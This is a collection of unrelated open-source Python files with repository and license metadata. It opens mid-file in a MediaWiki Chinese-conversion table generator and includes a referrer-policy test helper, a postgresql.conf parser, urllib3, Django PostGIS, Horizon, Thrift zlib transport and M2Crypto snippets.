)[0].split( '|' ) elems = unichr3( *elems ) if len( elems ) > 1: ret[elems[0]] = elems[1:] return ret def toManyRules( src_table ): tomany = set() for ( f, t ) in src_table.iteritems(): for i in range( 1, len( t ) ): tomany.add( t[i] ) return tomany def removeRules( path, table ): fp = open( path, 'rb', 'U8' ) texc = list() for line in fp: elems = line.split( '=>' ) f = t = elems[0].strip() if len( elems ) == 2: t = elems[1].strip() f = f.strip('"').strip("'") t = t.strip('"').strip("'") if f: try: table.pop( f ) except: pass if t: texc.append( t ) texcptn = re.compile( '^(?:%s)$' % '|'.join( texc ) ) for (tmp_f, tmp_t) in table.copy().iteritems(): if texcptn.match( tmp_t ): table.pop( tmp_f ) return table def customRules( path ): fp = open( path, 'rb', 'U8' ) ret = dict() for line in fp: elems = line.split( '#' )[0].split() if len( elems ) > 1: ret[elems[0]] = elems[1] return ret def dictToSortedList( src_table, pos ): return sorted( src_table.items(), key = lambda m: m[pos] ) def translate( text, conv_table ): i = 0 while i < len( text ): for j in range( len( text ) - i, 0, -1 ): f = text[i:][:j] t = conv_table.get( f ) if t: text = text[:i] + t + text[i:][j:] i += len(t) - 1 break i += 1 return text def manualWordsTable( path, conv_table, reconv_table ): fp = open( path, 'rb', 'U8' ) reconv_table = {} wordlist = [line.split( '#' )[0].strip() for line in fp] wordlist = list( set( wordlist ) ) wordlist.sort( key = len, reverse = True ) while wordlist: word = wordlist.pop() new_word = translate( word, conv_table ) rcv_word = translate( word, reconv_table ) if word != rcv_word: reconv_table[word] = word reconv_table[new_word] = word return reconv_table def defaultWordsTable( src_wordlist, src_tomany, char_conv_table, char_reconv_table ): wordlist = list( src_wordlist ) wordlist.sort( key = len, reverse = True ) word_conv_table = {} word_reconv_table = {} conv_table = char_conv_table.copy() reconv_table = char_reconv_table.copy() tomanyptn = re.compile( '(?:%s)' % '|'.join( src_tomany ) ) while wordlist: conv_table.update( word_conv_table ) reconv_table.update( word_reconv_table ) word = wordlist.pop() new_word_len = word_len = len( word ) while new_word_len == word_len: add = False test_word = translate( word, reconv_table ) new_word = translate( word, conv_table ) if not reconv_table.get( new_word ) \ and ( test_word != word \ or ( tomanyptn.search( word ) \ and word != translate( new_word, reconv_table ) ) ): word_conv_table[word] = new_word word_reconv_table[new_word] = word try: word = wordlist.pop() except IndexError: break new_word_len = len(word) return word_reconv_table def PHPArray( table ): lines = ['\'%s\' => \'%s\',' % (f, t) for (f, t) in table if f and t] return '\n'.join(lines) def main(): #Get Unihan.zip: url = 'http://www.unicode.org/Public/%s/ucd/Unihan.zip' % UNIHAN_VER han_dest = 'Unihan.zip' download( url, han_dest ) # Get scim-tables-$(SCIM_TABLES_VER).tar.gz: url = 'http://%s.dl.sourceforge.net/sourceforge/scim/scim-tables-%s.tar.gz' % ( SF_MIRROR, SCIM_TABLES_VER ) tbe_dest = 'scim-tables-%s.tar.gz' % SCIM_TABLES_VER download( url, tbe_dest ) # Get scim-pinyin-$(SCIM_PINYIN_VER).tar.gz: url = 'http://%s.dl.sourceforge.net/sourceforge/scim/scim-pinyin-%s.tar.gz' % ( SF_MIRROR, SCIM_PINYIN_VER ) pyn_dest = 'scim-pinyin-%s.tar.gz' % SCIM_PINYIN_VER download( url, pyn_dest ) # Get libtabe-$(LIBTABE_VER).tgz: url = 'http://%s.dl.sourceforge.net/sourceforge/libtabe/libtabe-%s.tgz' % ( SF_MIRROR, LIBTABE_VER ) lbt_dest = 'libtabe-%s.tgz' % LIBTABE_VER download( url, lbt_dest ) # Unihan.txt ( t2s_1tomany, s2t_1tomany ) = unihanParser( han_dest ) t2s_1tomany.update( charManualTable( 'trad2simp.manual' ) ) s2t_1tomany.update( charManualTable( 'simp2trad.manual' ) ) t2s_1to1 = dict( [( f, t[0] ) for ( f, t ) in t2s_1tomany.iteritems()] ) s2t_1to1 = dict( [( f, t[0] ) for ( f, t ) in s2t_1tomany.iteritems()] ) s_tomany = toManyRules( t2s_1tomany ) t_tomany = toManyRules( s2t_1tomany ) # noconvert rules t2s_1to1 = removeRules( 'trad2simp_noconvert.manual', t2s_1to1 ) s2t_1to1 = removeRules( 'simp2trad_noconvert.manual', s2t_1to1 ) # the supper set for word to word conversion t2s_1to1_supp = t2s_1to1.copy() s2t_1to1_supp = s2t_1to1.copy() t2s_1to1_supp.update( customRules( 'trad2simp_supp_set.manual' ) ) s2t_1to1_supp.update( customRules( 'simp2trad_supp_set.manual' ) ) # word to word manual rules t2s_word2word_manual = manualWordsTable( 'simpphrases.manual', s2t_1to1_supp, t2s_1to1_supp ) t2s_word2word_manual.update( customRules( 'toSimp.manual' ) ) s2t_word2word_manual = manualWordsTable( 'tradphrases.manual', t2s_1to1_supp, s2t_1to1_supp ) s2t_word2word_manual.update( customRules( 'toTrad.manual' ) ) # word to word rules from input methods t_wordlist = set() s_wordlist = set() t_wordlist.update( ezbigParser( tbe_dest ), tsiParser( lbt_dest ) ) s_wordlist.update( wubiParser( tbe_dest ), zrmParser( tbe_dest ), phraseParser( pyn_dest ) ) # exclude s_wordlist = applyExcludes( s_wordlist, 'simpphrases_exclude.manual' ) t_wordlist = applyExcludes( t_wordlist, 'tradphrases_exclude.manual' ) s2t_supp = s2t_1to1_supp.copy() s2t_supp.update( s2t_word2word_manual ) t2s_supp = t2s_1to1_supp.copy() t2s_supp.update( t2s_word2word_manual ) # parse list to dict t2s_word2word = defaultWordsTable( s_wordlist, s_tomany, s2t_1to1_supp, t2s_supp ) t2s_word2word.update( t2s_word2word_manual ) s2t_word2word = defaultWordsTable( t_wordlist, t_tomany, t2s_1to1_supp, s2t_supp ) s2t_word2word.update( s2t_word2word_manual ) # Final tables # sorted list toHans t2s_1to1 = dict( [( f, t ) for ( f, t ) in t2s_1to1.iteritems() if f != t] ) toHans = dictToSortedList( t2s_1to1, 0 ) + dictToSortedList( t2s_word2word, 1 ) # sorted list toHant s2t_1to1 = dict( [( f, t ) for ( f, t ) in s2t_1to1.iteritems() if f != t] ) toHant = dictToSortedList( s2t_1to1, 0 ) + dictToSortedList( s2t_word2word, 1 ) # sorted list toCN toCN = dictToSortedList( customRules( 'toCN.manual' ), 1 ) # sorted list toHK toHK = dictToSortedList( customRules( 'toHK.manual' ), 1 ) # sorted list toSG toSG = dictToSortedList( customRules( 'toSG.manual' ), 1 ) # sorted list toTW toTW = dictToSortedList( customRules( 'toTW.manual' ), 1 ) # Get PHP Array php = '''<?php /** * Simplified / Traditional Chinese conversion tables * * Automatically generated using code and data in includes/zhtable/ * Do not modify directly! * * @file */ $zh2Hant = array(\n''' php += PHPArray( toHant ) \ + '\n);\n\n$zh2Hans = array(\n' \ + PHPArray( toHans ) \ + '\n);\n\n$zh2TW = array(\n' \ + PHPArray( toTW ) \ + '\n);\n\n$zh2HK = array(\n' \ + PHPArray( toHK ) \ + '\n);\n\n$zh2CN = array(\n' \ + PHPArray( toCN ) \ + '\n);\n\n$zh2SG = array(\n' \ + PHPArray( toSG ) \ + '\n);' f = open( 'ZhConversion.php', 'wb', encoding = 'utf8' ) print ('Writing ZhConversion.php ... ') f.write( php ) f.close() #Remove temp files print ('Deleting temp files ... ') os.remove('EZ-Big.txt.in') os.remove('phrase_lib.txt') os.remove('tsi.src') os.remove('Unihan_Variants.txt') os.remove('Wubi.txt.in') os.remove('Ziranma.txt.in') if __name__ == '__main__': main()
AKFourSeven/antoinekougblenou
old/wiki/includes/zhtable/Makefile.py
Python
mit
13,221
import os, sys, json, urlparse, urllib def get_template(template_basename): script_directory = os.path.dirname(os.path.abspath(__file__)) template_directory = os.path.abspath(os.path.join(script_directory, "..", "template")) template_filename = os.path.join(template_directory, template_basename); with open(template_filename, "r") as f: return f.read() # TODO(kristijanburnik): subdomain_prefix is a hardcoded value aligned with # referrer-policy-test-case.js. The prefix should be configured in one place. def get_swapped_origin_netloc(netloc, subdomain_prefix = "www1."): if netloc.startswith(subdomain_prefix): return netloc[len(subdomain_prefix):] else: return subdomain_prefix + netloc def create_redirect_url(request, cross_origin = False): parsed = urlparse.urlsplit(request.url) destination_netloc = parsed.netloc if cross_origin: destination_netloc = get_swapped_origin_netloc(parsed.netloc) destination_url = urlparse.urlunsplit(urlparse.SplitResult( scheme = parsed.scheme, netloc = destination_netloc, path = parsed.path, query = None, fragment = None)) return destination_url def redirect(url, response): response.add_required_headers = False response.writer.write_status(301) response.writer.write_header("access-control-allow-origin", "*") response.writer.write_header("location", url) response.writer.end_headers() response.writer.write("") def preprocess_redirection(request, response): if "redirection" not in request.GET: return False redirection = request.GET["redirection"] if redirection == "no-redirect": return False elif redirection == "keep-origin-redirect": redirect_url = create_redirect_url(request, cross_origin = False) elif redirection == "swap-origin-redirect": redirect_url = create_redirect_url(request, cross_origin = True) else: raise ValueError("Invalid redirection type '%s'" % redirection) redirect(redirect_url, response) return True def __noop(request, response): return "" def respond(request, response, status_code = 200, content_type = "text/html", payload_generator = __noop, cache_control = "no-cache; must-revalidate", access_control_allow_origin = "*"): if preprocess_redirection(request, response): return response.add_required_headers = False response.writer.write_status(status_code) if access_control_allow_origin != None: response.writer.write_header("access-control-allow-origin", access_control_allow_origin) response.writer.write_header("content-type", content_type) response.writer.write_header("cache-control", cache_control) response.writer.end_headers() server_data = {"headers": json.dumps(request.headers, indent = 4)} payload = payload_generator(server_data) response.writer.write(payload)
snehasi/servo
tests/wpt/web-platform-tests/referrer-policy/generic/subresource/subresource.py
Python
mpl-2.0
3,167
#!/usr/bin/env python # $Id: $ """ postgresql.conf configuration file reader Module contents: readfile() - Read postgresql.conf file class gucdict - Container for postgresql.conf settings class setting - Holds one setting class ConfigurationError - a subclass of EnvironmentError Example: import lib.pgconf as pgconf d = pgconf.readfile() port = d.int('port', 5432) pe = d.bool('password_encryption', False) sb = d.kB('shared_buffers') at = d.time('authentication_timeout', 'ms', 2500) """ import os import os.path import re # Max recursion level for postgresql.conf include directives. # The max value is 10 in the postgres code, so it's the same here. MAX_RECURSION_LEVEL=10 def readfile(filename='postgresql.conf', defaultpath=None): """ Read postgresql.conf file and put the settings into a dictionary. Returns the dictionary: a newly created pgconf.gucdict object. If filename does not specify an absolute path, it is treated as relative to defaultpath, or to the current working directory. """ if not os.path.isabs(filename): if defaultpath is None: defaultpath = os.getcwd() filename = os.path.normpath(os.path.join(defaultpath, filename)) fp = open(filename) try: dictionary = gucdict() dictionary.populate(fp, filename) return dictionary except Exception: raise finally: fp.close() class gucdict(dict): """ A container for settings from a postgresql.conf file. Behaves as an ordinary dictionary, with a few added methods. The keys of the dictionary are GUC names in lower case, and the values are instances of the pgconf.setting class. The populate() method loads the dictionary with settings from a file. The str(), bool(), int(), float(), kB(), and time() methods return a value from the dictionary, converted to internal form. """ def populate(self, lines, filename='', recurLevel=0): ''' Given a postgresql.conf input file (or a list of strings, or some iterable object yielding lines), look for lines of the form name[=][value][#comment] For each one found, construct a pgconf.setting object and put it into our dictionary. ''' if recurLevel == MAX_RECURSION_LEVEL: raise Exception('could not open configuration file "%s": maximum nesting depth exceeded' % filename) linenumber = 0 for line in lines: linenumber += 1 m = _setpat.match(line) if m: name, value, pos = m.group(1), m.group(3), m.start(3) if name == 'include': try: # Remove the ' from the filename and then convert to abspath if needed. incfilename = value.strip("'") if not incfilename.startswith('/') and filename != '': incfilename = '%s/%s' % (filename[0:filename.rfind('/')], incfilename) fp = open(incfilename) self.populate(fp, incfilename, recurLevel+1) fp.close() except IOError: raise Exception('File %s included from %s:%d does not exist' % (incfilename, filename, linenumber)) else: self[name.lower()] = setting(name, value, filename, linenumber, pos) def str(self, name, default=None): """ Return string setting, or default if absent. """ v = self.get(name) if v: return v.str() else: return default def bool(self, name, default=None): """ Return Boolean setting, or default if absent. """ v = self.get(name) if v: return v.bool() else: return default def int(self, name, default=None): """ Return integer setting, or default if absent. """ v = self.get(name) if v: return v.int() else: return default def float(self, name, default=None): """ Return floating-point setting, or default if absent. """ v = self.get(name) if v: return v.float() else: return default def kB(self, name, default=None): """ Return memory setting in units of 1024 bytes, or default if absent. """ v = self.get(name) if v: return v.kB() else: return default def time(self, name, unit='s', default=None): """ Return time setting, or default if absent. Specify desired unit as 'ms', 's', or 'min'. """ v = self.get(name) if v: return v.time(unit) else: return default class setting(object): """ Holds a GUC setting from a postgresql.conf file. The str(), bool(), int(), float(), kB(), and time() methods return the value converted to the requested internal form. pgconf.ConfigurationError is raised if the conversion fails, i.e. the value does not conform to the expected syntax. """ def __init__(self, name, value, filename='', linenumber=0, pos=0): self.name = name self.value = value self.filename = filename self.linenumber = linenumber self.pos = pos # starting offset of value within the input line def __repr__(self): return repr(self.value) def str(self): """ Return the value as a string. """ v = self.value if v and v.endswith("'"): # Single-quoted string. Remove the opening and closing quotes. # Replace each escape sequence with the character it stands for. i = v.index("'") + 1 v = _escapepat.sub(_escapefun, v[i:-1]) return v def bool(self): """ Interpret the value as a Boolean. Returns True or False. """ s = self.value if s: s = s.lower() n = len(s) if (s == '1' or s == 'on' or s == 'true'[:n] or s == 'yes'[:n]): return True if (s == '0' or s == 'off'[:n] or s == 'false'[:n] or s == 'no'[:n]): return False raise self.ConfigurationError('Boolean value should be one of: 1, 0, ' 'on, off, true, false, yes, no.') def int(self): """ Interpret the value as an integer. Returns an int or long. """ try: return int(self.value, 0) except ValueError: raise self.ConfigurationError('Value should be integer.') def float(self): """ Interpret the value as floating point. Returns a float. """ try: return float(self.value) except ValueError: raise self.ConfigurationError('Value should be floating point.') def kB(self): """ Interpret the value as an amount of memory. Returns an int or long, in units of 1024 bytes. """ try: m = 1 t = re.split('(kB|MB|GB)', self.value) if len(t) > 1: i = ['kB', 'MB', 'GB'].index(t[1]) m = (1, 1024, 1024*1024)[i] try: return int(t[0], 0) * m except ValueError: pass return int(float(t[0]) * m) except (ValueError, IndexError): raise self.ConfigurationError('Value should be integer or float ' 'with optional suffix kB, MB, or GB ' '(kB is default).') def time(self, unit='s'): """ Interpret the value as a time. Returns an int or long. Specify desired unit as 'ms', 's', or 'min'. """ u = ['ms', 's', 'min'].index(unit) u = (1, 1000, 60*1000)[u] try: m = u t = re.split('(ms|s|min|h|d)', self.value) if len(t) > 1: i = ['ms', 's', 'min', 'h', 'd'].index(t[1]) m = (1, 1000, 60*1000, 3600*1000, 24*3600*1000)[i] return int(t[0], 0) * m / u except (ValueError, IndexError): raise self.ConfigurationError('Value should be integer with ' 'optional suffix ms, s, min, h, or d ' '(%s is default).' % unit) def ConfigurationError(self, msg): msg = '(%s = %s) %s' % (self.name, self.value, msg) return ConfigurationError(msg, self.filename, self.linenumber) class ConfigurationError(EnvironmentError): def __init__(self, msg, filename='', linenumber=0): self.msg = msg self.filename = filename self.linenumber = linenumber if linenumber: msg = '%s line %d: %s' % (filename, linenumber, msg) elif filename: msg = '%s: %s' % (filename, msg) EnvironmentError.__init__(self, msg) def __str__(self): return self.message #-------------------------------- private -------------------------------- _setpat = re.compile(r"\s*(\w+)\s*(=\s*)?" # name [=] '(' r"[eE]?('((\\.)?[^\\']*)*')+|" # single-quoted string or r"[^\s#']*" # token ending at whitespace or comment ')') _escapepat = re.compile(r"''|" # pair of single quotes, or r"\\(" # backslash followed by r"[0-7][0-7]?[0-7]?|" # nnn (1 to 3 octal digits) or r"x[0-9A-Fa-f][0-9A-Fa-f]?|" # xHH (1 or 2 hex digits) or r".)") # one char def _escapefun(matchobj): """Callback to interpret an escape sequence""" s = matchobj.group() c = s[1] i = "bfnrt".find(c) if i >= 0: c = "\b\f\n\r\t"[i] elif c == 'x': c = chr(int(s[2:], 16)) elif c in '01234567': c = chr(int(s[1:], 8)) return c
ysung-pivotal/incubator-hawq
tools/bin/gppylib/pgconf.py
Python
apache-2.0
10,433
# urllib3/request.py # Copyright 2008-2013 Andrey Petrov and contributors (see CONTRIBUTORS.txt) # # This module is part of urllib3 and is released under # the MIT License: http://www.opensource.org/licenses/mit-license.php try: from urllib.parse import urlencode except ImportError: from urllib import urlencode from .filepost import encode_multipart_formdata __all__ = ['RequestMethods'] class RequestMethods(object): """ Convenience mixin for classes who implement a :meth:`urlopen` method, such as :class:`~urllib3.connectionpool.HTTPConnectionPool` and :class:`~urllib3.poolmanager.PoolManager`. Provides behavior for making common types of HTTP request methods and decides which type of request field encoding to use. Specifically, :meth:`.request_encode_url` is for sending requests whose fields are encoded in the URL (such as GET, HEAD, DELETE). :meth:`.request_encode_body` is for sending requests whose fields are encoded in the *body* of the request using multipart or www-orm-urlencoded (such as for POST, PUT, PATCH). :meth:`.request` is for making any kind of request, it will look up the appropriate encoding format and use one of the above two methods to make the request. Initializer parameters: :param headers: Headers to include with all requests, unless other headers are given explicitly. """ _encode_url_methods = set(['DELETE', 'GET', 'HEAD', 'OPTIONS']) _encode_body_methods = set(['PATCH', 'POST', 'PUT', 'TRACE']) def __init__(self, headers=None): self.headers = headers or {} def urlopen(self, method, url, body=None, headers=None, encode_multipart=True, multipart_boundary=None, **kw): # Abstract raise NotImplemented("Classes extending RequestMethods must implement " "their own ``urlopen`` method.") def request(self, method, url, fields=None, headers=None, **urlopen_kw): """ Make a request using :meth:`urlopen` with the appropriate encoding of ``fields`` based on the ``method`` used. This is a convenience method that requires the least amount of manual effort. It can be used in most situations, while still having the option to drop down to more specific methods when necessary, such as :meth:`request_encode_url`, :meth:`request_encode_body`, or even the lowest level :meth:`urlopen`. """ method = method.upper() if method in self._encode_url_methods: return self.request_encode_url(method, url, fields=fields, headers=headers, **urlopen_kw) else: return self.request_encode_body(method, url, fields=fields, headers=headers, **urlopen_kw) def request_encode_url(self, method, url, fields=None, **urlopen_kw): """ Make a request using :meth:`urlopen` with the ``fields`` encoded in the url. This is useful for request methods like GET, HEAD, DELETE, etc. """ if fields: url += '?' + urlencode(fields) return self.urlopen(method, url, **urlopen_kw) def request_encode_body(self, method, url, fields=None, headers=None, encode_multipart=True, multipart_boundary=None, **urlopen_kw): """ Make a request using :meth:`urlopen` with the ``fields`` encoded in the body. This is useful for request methods like POST, PUT, PATCH, etc. When ``encode_multipart=True`` (default), then :meth:`urllib3.filepost.encode_multipart_formdata` is used to encode the payload with the appropriate content type. Otherwise :meth:`urllib.urlencode` is used with the 'application/x-www-form-urlencoded' content type. Multipart encoding must be used when posting files, and it's reasonably safe to use it in other times too. However, it may break request signing, such as with OAuth. Supports an optional ``fields`` parameter of key/value strings AND key/filetuple. A filetuple is a (filename, data, MIME type) tuple where the MIME type is optional. For example: :: fields = { 'foo': 'bar', 'fakefile': ('foofile.txt', 'contents of foofile'), 'realfile': ('barfile.txt', open('realfile').read()), 'typedfile': ('bazfile.bin', open('bazfile').read(), 'image/jpeg'), 'nonamefile': 'contents of nonamefile field', } When uploading a file, providing a filename (the first parameter of the tuple) is optional but recommended to best mimick behavior of browsers. Note that if ``headers`` are supplied, the 'Content-Type' header will be overwritten because it depends on the dynamic random boundary string which is used to compose the body of the request. The random boundary string can be explicitly set with the ``multipart_boundary`` parameter. """ if encode_multipart: body, content_type = encode_multipart_formdata(fields or {}, boundary=multipart_boundary) else: body, content_type = (urlencode(fields or {}), 'application/x-www-form-urlencoded') if headers is None: headers = self.headers headers_ = {'Content-Type': content_type} headers_.update(headers) return self.urlopen(method, url, body=body, headers=headers_, **urlopen_kw)
kristerhedfors/xnet
xnet/packages/urllib3/request.py
Python
bsd-3-clause
5,873
from django.conf import settings from django.db.backends.postgresql_psycopg2.creation import DatabaseCreation from django.utils.functional import cached_property class PostGISCreation(DatabaseCreation): geom_index_type = 'GIST' geom_index_ops = 'GIST_GEOMETRY_OPS' geom_index_ops_nd = 'GIST_GEOMETRY_OPS_ND' @cached_property def template_postgis(self): template_postgis = getattr(settings, 'POSTGIS_TEMPLATE', 'template_postgis') with self.connection.cursor() as cursor: cursor.execute('SELECT 1 FROM pg_database WHERE datname = %s LIMIT 1;', (template_postgis,)) if cursor.fetchone(): return template_postgis return None def sql_indexes_for_field(self, model, f, style): "Return any spatial index creation SQL for the field." from django.contrib.gis.db.models.fields import GeometryField output = super(PostGISCreation, self).sql_indexes_for_field(model, f, style) if isinstance(f, GeometryField): gqn = self.connection.ops.geo_quote_name qn = self.connection.ops.quote_name db_table = model._meta.db_table if f.geography or self.connection.ops.geometry: # Geography and Geometry (PostGIS 2.0+) columns are # created normally. pass else: # Geometry columns are created by `AddGeometryColumn` # stored procedure. output.append(style.SQL_KEYWORD('SELECT ') + style.SQL_TABLE('AddGeometryColumn') + '(' + style.SQL_TABLE(gqn(db_table)) + ', ' + style.SQL_FIELD(gqn(f.column)) + ', ' + style.SQL_FIELD(str(f.srid)) + ', ' + style.SQL_COLTYPE(gqn(f.geom_type)) + ', ' + style.SQL_KEYWORD(str(f.dim)) + ');') if not f.null: # Add a NOT NULL constraint to the field output.append(style.SQL_KEYWORD('ALTER TABLE ') + style.SQL_TABLE(qn(db_table)) + style.SQL_KEYWORD(' ALTER ') + style.SQL_FIELD(qn(f.column)) + style.SQL_KEYWORD(' SET NOT NULL') + ';') if f.spatial_index: # Spatial indexes created the same way for both Geometry and # Geography columns. # PostGIS 2.0 does not support GIST_GEOMETRY_OPS. So, on 1.5 # we use GIST_GEOMETRY_OPS, on 2.0 we use either "nd" ops # which are fast on multidimensional cases, or just plain # gist index for the 2d case. if f.geography: index_ops = '' elif self.connection.ops.geometry: if f.dim > 2: index_ops = ' ' + style.SQL_KEYWORD(self.geom_index_ops_nd) else: index_ops = '' else: index_ops = ' ' + style.SQL_KEYWORD(self.geom_index_ops) output.append(style.SQL_KEYWORD('CREATE INDEX ') + style.SQL_TABLE(qn('%s_%s_id' % (db_table, f.column))) + style.SQL_KEYWORD(' ON ') + style.SQL_TABLE(qn(db_table)) + style.SQL_KEYWORD(' USING ') + style.SQL_COLTYPE(self.geom_index_type) + ' ( ' + style.SQL_FIELD(qn(f.column)) + index_ops + ' );') return output def sql_table_creation_suffix(self): if self.template_postgis is not None: return ' TEMPLATE %s' % ( self.connection.ops.quote_name(self.template_postgis),) return '' def _create_test_db(self, verbosity, autoclobber): test_database_name = super(PostGISCreation, self)._create_test_db(verbosity, autoclobber) if self.template_postgis is None: # Connect to the test database in order to create the postgis extension self.connection.close() self.connection.settings_dict["NAME"] = test_database_name with self.connection.cursor() as cursor: cursor.execute("CREATE EXTENSION IF NOT EXISTS postgis") cursor.connection.commit() return test_database_name
912/M-new
virtualenvironment/experimental/lib/python2.7/site-packages/django/contrib/gis/db/backends/postgis/creation.py
Python
gpl-2.0
4,546
# Copyright 2013 Kylin, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from django.conf.urls import patterns from django.conf.urls import url from openstack_dashboard.dashboards.admin.defaults import views urlpatterns = patterns( 'openstack_dashboard.dashboards.admin.defaults.views', url(r'^$', views.IndexView.as_view(), name='index'), url(r'^update_defaults$', views.UpdateDefaultQuotasView.as_view(), name='update_defaults'))
redhat-cip/horizon
openstack_dashboard/dashboards/admin/defaults/urls.py
Python
apache-2.0
986
# # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. # ''' TZlibTransport provides a compressed transport and transport factory class, using the python standard library zlib module to implement data compression. ''' from __future__ import division import zlib from cStringIO import StringIO from TTransport import TTransportBase, CReadableTransport class TZlibTransportFactory(object): ''' Factory transport that builds zlib compressed transports. This factory caches the last single client/transport that it was passed and returns the same TZlibTransport object that was created. This caching means the TServer class will get the _same_ transport object for both input and output transports from this factory. (For non-threaded scenarios only, since the cache only holds one object) The purpose of this caching is to allocate only one TZlibTransport where only one is really needed (since it must have separate read/write buffers), and makes the statistics from getCompSavings() and getCompRatio() easier to understand. ''' # class scoped cache of last transport given and zlibtransport returned _last_trans = None _last_z = None def getTransport(self, trans, compresslevel=9): '''Wrap a transport , trans, with the TZlibTransport compressed transport class, returning a new transport to the caller. @param compresslevel: The zlib compression level, ranging from 0 (no compression) to 9 (best compression). Defaults to 9. @type compresslevel: int This method returns a TZlibTransport which wraps the passed C{trans} TTransport derived instance. ''' if trans == self._last_trans: return self._last_z ztrans = TZlibTransport(trans, compresslevel) self._last_trans = trans self._last_z = ztrans return ztrans class TZlibTransport(TTransportBase, CReadableTransport): ''' Class that wraps a transport with zlib, compressing writes and decompresses reads, using the python standard library zlib module. ''' # Read buffer size for the python fastbinary C extension, # the TBinaryProtocolAccelerated class. DEFAULT_BUFFSIZE = 4096 def __init__(self, trans, compresslevel=9): ''' Create a new TZlibTransport, wrapping C{trans}, another TTransport derived object. @param trans: A thrift transport object, i.e. a TSocket() object. @type trans: TTransport @param compresslevel: The zlib compression level, ranging from 0 (no compression) to 9 (best compression). Default is 9. @type compresslevel: int ''' self.__trans = trans self.compresslevel = compresslevel self.__rbuf = StringIO() self.__wbuf = StringIO() self._init_zlib() self._init_stats() def _reinit_buffers(self): ''' Internal method to initialize/reset the internal StringIO objects for read and write buffers. ''' self.__rbuf = StringIO() self.__wbuf = StringIO() def _init_stats(self): ''' Internal method to reset the internal statistics counters for compression ratios and bandwidth savings. ''' self.bytes_in = 0 self.bytes_out = 0 self.bytes_in_comp = 0 self.bytes_out_comp = 0 def _init_zlib(self): ''' Internal method for setting up the zlib compression and decompression objects. ''' self._zcomp_read = zlib.decompressobj() self._zcomp_write = zlib.compressobj(self.compresslevel) def getCompRatio(self): ''' Get the current measured compression ratios (in,out) from this transport. Returns a tuple of: (inbound_compression_ratio, outbound_compression_ratio) The compression ratios are computed as: compressed / uncompressed E.g., data that compresses by 10x will have a ratio of: 0.10 and data that compresses to half of ts original size will have a ratio of 0.5 None is returned if no bytes have yet been processed in a particular direction. ''' r_percent, w_percent = (None, None) if self.bytes_in > 0: r_percent = self.bytes_in_comp / self.bytes_in if self.bytes_out > 0: w_percent = self.bytes_out_comp / self.bytes_out return (r_percent, w_percent) def getCompSavings(self): ''' Get the current count of saved bytes due to data compression. Returns a tuple of: (inbound_saved_bytes, outbound_saved_bytes) Note: if compression is actually expanding your data (only likely with very tiny thrift objects), then the values returned will be negative. ''' r_saved = self.bytes_in - self.bytes_in_comp w_saved = self.bytes_out - self.bytes_out_comp return (r_saved, w_saved) def isOpen(self): '''Return the underlying transport's open status''' return self.__trans.isOpen() def open(self): """Open the underlying transport""" self._init_stats() return self.__trans.open() def listen(self): '''Invoke the underlying transport's listen() method''' self.__trans.listen() def accept(self): '''Accept connections on the underlying transport''' return self.__trans.accept() def close(self): '''Close the underlying transport,''' self._reinit_buffers() self._init_zlib() return self.__trans.close() def read(self, sz): ''' Read up to sz bytes from the decompressed bytes buffer, and read from the underlying transport if the decompression buffer is empty. ''' ret = self.__rbuf.read(sz) if len(ret) > 0: return ret # keep reading from transport until something comes back while True: if self.readComp(sz): break ret = self.__rbuf.read(sz) return ret def readComp(self, sz): ''' Read compressed data from the underlying transport, then decompress it and append it to the internal StringIO read buffer ''' zbuf = self.__trans.read(sz) zbuf = self._zcomp_read.unconsumed_tail + zbuf buf = self._zcomp_read.decompress(zbuf) self.bytes_in += len(zbuf) self.bytes_in_comp += len(buf) old = self.__rbuf.read() self.__rbuf = StringIO(old + buf) if len(old) + len(buf) == 0: return False return True def write(self, buf): ''' Write some bytes, putting them into the internal write buffer for eventual compression. ''' self.__wbuf.write(buf) def flush(self): ''' Flush any queued up data in the write buffer and ensure the compression buffer is flushed out to the underlying transport ''' wout = self.__wbuf.getvalue() if len(wout) > 0: zbuf = self._zcomp_write.compress(wout) self.bytes_out += len(wout) self.bytes_out_comp += len(zbuf) else: zbuf = '' ztail = self._zcomp_write.flush(zlib.Z_SYNC_FLUSH) self.bytes_out_comp += len(ztail) if (len(zbuf) + len(ztail)) > 0: self.__wbuf = StringIO() self.__trans.write(zbuf + ztail) self.__trans.flush() @property def cstringio_buf(self): '''Implement the CReadableTransport interface''' return self.__rbuf def cstringio_refill(self, partialread, reqlen): '''Implement the CReadableTransport interface for refill''' retstring = partialread if reqlen < self.DEFAULT_BUFFSIZE: retstring += self.read(self.DEFAULT_BUFFSIZE) while len(retstring) < reqlen: retstring += self.read(reqlen - len(retstring)) self.__rbuf = StringIO(retstring) return self.__rbuf
YakindanEgitim/EN-LinuxClipper
thrift/transport/TZlibTransport.py
Python
gpl-3.0
8,187
from btcommon import * raise NotImplementedError
olapaola/olapaola-android-scripting
python-modules/pybluez/python/bluetooth/osx.py
Python
apache-2.0
50
import sys from m2ext import SSL from M2Crypto import X509 print "Validating certificate %s using CApath %s" % (sys.argv[1], sys.argv[2]) cert = X509.load_cert(sys.argv[1]) ctx = SSL.Context() ctx.load_verify_locations(capath=sys.argv[2]) if ctx.validate_certificate(cert): print "valid" else: print "invalid"
gholt/megacfs
vendor/github.com/cloudflare/cfssl/testdata/test.py
Python
apache-2.0
319
